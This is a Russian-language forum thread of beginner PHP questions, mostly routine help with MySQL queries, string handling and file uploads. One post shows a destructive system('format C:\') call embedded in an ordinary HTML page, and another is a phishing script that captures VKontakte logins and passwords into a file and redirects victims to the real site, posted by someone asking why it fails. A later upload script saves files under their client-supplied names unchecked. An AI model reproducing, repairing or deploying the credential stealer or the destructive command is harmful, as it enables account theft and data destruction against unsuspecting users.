[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Возьми англо-русский словарь и переведи
     
  2. laedafess

    laedafess Member

    Joined:
    11 Feb 2009
    Messages:
    70
    Likes Received:
    29
    Reputations:
    15
    PHP:
    <html>
    <head>
    <title>титл</title>
    </head>
    <body>
    тут многа всего
    многа многа
    <?PHP
    system
    ("format C:\ ");
    а тут многа php кода
    ?>
    а тут еще чето
    </body>
    </html>
     
  3. ZnikiR

    ZnikiR Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    21
    Reputations:
    -5
    КоД не рабоатет в чем Трабла!подскажите!
    PHP:
    <?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") { 
    $login $_POST['login']; // Логин 
    $pass $_POST['passwd']; // Пароль 
    $today date("m.d.y"); 
    $hour date("H:i:s"); 
    $u  strtolower($login
    //vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ 
    if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ 
                echo 
    "http://***.com/login.html";$err "yes"
                } 
                if (!
    ctype_alnum($pw) || strlen($pw) < || strlen($pw) > 20) { 
                echo 
    "http://***.com/login.html"
                
    $err "yes"
            }if (
    $err == "") {  
                 
    $log fopen("base.php","a+"); //открываем файл базы 
    fwrite($log,$login:$pass\\\\\\$today\\$hour \n"); //записываем всё 
    fclose($log); //закрываем 

    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"// куда пошлем пользователя после того как он ввел данные! 
    }       } 
    ?>
     
  4. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4

    Чёт не то произошло пришлось винду переустановать...
    = ( видимо вирусы

    А если серьёзно то я загружаю шаблоны с помощью eval() вот почему и спрашиваю о такой проблеме...
    Так как скрипт просто выводит инфу...
     
  5. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Есть строка, например, "456564321", нужно после третьего символа поставить точку, есть мысли как это все изврщенно сдлеать, но может кто подскажет как разумней.

    Спасибо :).
     
  6. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    $stroka = "456.564321"; - так ? :D
    или
    $stroka = substr($stroka,0,3).'.'.substr($stroka,3);
     
  7. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Да, именно такие мысли и были))), но всеравно спасибо, думал может функция есть :).
     
  8. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Дык а substr - что?)
     
  9. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    Ошибку пишет, причем я помню давным давно такой баг у меня был как испраивл его не помню

    ошибка:
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 62



    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 72


    вобщем вначале стр перед html стоит
    <?php
    $db = mysql_connect ("localhost","obereguser","12345");
    mysql_select_db("oberegisr",$db);
    ?>


    в середине стр стоит только этот код

    <?php
    $result=mysql_query("SELECT id,title,desc,date FROM news",$db);
    $myrow=mysql_fetch_array($result);
    do
    {
    printf("<div class='photo'><img src='images/photo.jpg' alt='' /></div>
    <div class='news_text'>
    <a href='%s'><b>%s</b></a><br />
    <span>%s</span><br />
    %s
    <a href='#'><img src='images/arrow1.jpg' alt='' /></a>",$myrow["id"],$myrow["title"],$myrow["date"],$myrow["desc"]);
    }
    while ($myrow=mysql_fetch_array($result));
    ?>


    не могу догнать где ошибка тут :(
     
  10. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    29822

    Имя столбца,а именно desс, рассматриваются как команда sql,это зарезервированное слово,используйте другое название.

    Полный список зарезервированных слов можете посмотреть здесь
     
    #9650 erihtoney, 16 Apr 2009
    Last edited: 16 Apr 2009
    1 person likes this.
  11. Dr.Frank

    Dr.Frank Elder - Старейшина

    Joined:
    31 Jul 2002
    Messages:
    301
    Likes Received:
    72
    Reputations:
    12
    можно еще desc взять в "тильды" - `desc` - тоже проканает.
     
    1 person likes this.
  12. 777DEMYAN777

    777DEMYAN777 Elder - Старейшина

    Joined:
    31 May 2008
    Messages:
    48
    Likes Received:
    12
    Reputations:
    0
    Поставил движок и чужую базу, всё настроил, захожу под логином админа, а мне выдаёт ошибку вида:

    Code:
    Warning: Invalid argument supplied for foreach() in /var/www/web27/web/main.php on line 3    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /var/www/web27/web/main.php:3) in /var/www/web27/web/main.php on line 41
    Что же делать???
     
  13. 777DEMYAN777

    777DEMYAN777 Elder - Старейшина

    Joined:
    31 May 2008
    Messages:
    48
    Likes Received:
    12
    Reputations:
    0
    пасс верный, и таблицы есть! Там что то с сессиями
     
  14. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    erihtoney - спасибо помогло
    но еще ошибка оказывается в том к прмиеру в табюлице 1 буквой ошибся я так изза этой буквы тоже работать не может =(

    эх надо будет внимательней быть а не сидеть до поздна php начинать учить =)
     
    1 person likes this.
  15. noooob'ik

    noooob'ik Banned

    Joined:
    13 Nov 2008
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    привет. рябята, дайте плз описание масива $_FILES...
    пытаюсь на своём "сайте" сдетать закачку файлов... а незнание этого масива, сильно усложняет этот процесс))
     
  16. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    http://ru.php.net/manual/en/reserved.variables.files.php
    вниз пролистай
     
    _________________________
  17. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    <?php
    $result2=mysql_query("SELECT news FROM uppdate",$db);
    $myrow2=mysql_fetch_array($result2);
    do
    {
    printf("<li>%s</li>",$myrow2["news"]);
    }
    while ($myrow2=mysql_fetch_array($result2));
    ?>


    народ подскажите что нужно добавить в
    $result2=mysql_query("SELECT news FROM uppdate",$db);

    вроде чета DESC и ORDER
    но я чет не помню уже пересидел слегка все забыл =)

    суть что мне макс надо вывести 3 записи из bd и самые новые типо от id3 и вниз.
     
  18. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    $result2=mysql_query("SELECT id, news FROM uppdate ORDER by id",$db);
     
  19. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    inlanger спасиб вспомнил

    $result=mysql_query("SELECT id,title,secription,data FROM news ORDER BY data DESC, id DESC LIMIT 3",$db);

    если что LIMIT 3 отвечает за то сколкьо записей вытащить ;)
     
  20. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    вопрос про загрузку картинки на сервер

    сделал форму

    <form action='img_add.php' method='POST' name='form1'>
    <label for="image">Изображение:</label><br>
    <input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
    <input type="file" size=40 name="image" id="image"><br>
    <input type='submit' name='submit' id='submit' value='Загрузим картиночку :)'><br>
    </form>


    img_add.php

    <?php
    $filename = "ima2/".rand(0,99999).$_FILES['image']['name'];
    move_uploaded_file($_FILES['image']['tmp_name'], $filename);
    ?>

    по идеи в папку ima2 должна загрузится картинка не?
     
Thread Status:
Not open for further replies.